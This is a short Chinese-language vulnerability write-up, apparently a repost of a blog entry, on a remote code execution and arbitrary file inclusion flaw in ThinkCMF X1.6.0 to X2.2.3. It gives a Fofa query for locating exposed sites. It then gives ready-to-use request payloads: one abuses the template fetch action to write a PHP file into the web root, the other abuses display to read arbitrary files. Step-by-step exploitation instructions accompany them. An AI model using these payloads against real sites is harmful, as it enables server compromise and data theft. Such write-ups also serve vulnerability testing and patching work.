Thinkcmf远程代码执行&任意文件包含

0x01 漏洞描述

ThinkCMF是一款基于PHP+MYSQL开发的中文内容管理系统框架,底层采用ThinkPHP3.2.3构建。ThinkCMF提出灵活的应用机制,框架自身提供基础的管理功能,而开发者可以根据自身的需求以应用的形式进行扩展。每个应用都能独立的完成自己的任务,也可通过系统调用其他应用进行协同工作。在这种运行机制下,开发商场应用的用户无需关心开发SNS应用时如何工作的,但他们之间又可通过系统本身进行协调,大大的降低了开发成本和沟通成本。

0x02 漏洞影响版本

ThinkCMF X1.6.0
ThinkCMF X2.1.0
ThinkCMF X2.2.0
ThinkCMF X2.2.1
ThinkCMF X2.2.2
ThinkCMF X2.2.3

0x03 Fofa

app="thinkcmf"

0x04 漏洞利用

根目录写入POC,根目录访问test.php:

?a=fetch&templateFile=public/index&prefix=''&content=<php>file_put_contents('test.php','<?php phpinfo(); ?>')</php>

文件包含POC:

?a=display&templateFile=README.md

1.使用文件写入poc进行测试,如果返回页面为空白页面则证明网站存在漏洞

?a=fetch&templateFile=public/index&prefix=''&content=<php>file_put_contents('test.php','<?php phpinfo(); ?>')</php>


2.在网站根目录访问test.php

3.使用文件包含POC进行文件读取

?a=display&templateFile=README.md

0x05 参考链接

https://www.cnblogs.com/yuzly/p/11797485.html

原文地址:https://www.cnblogs.com/KHZ521/p/14336596.html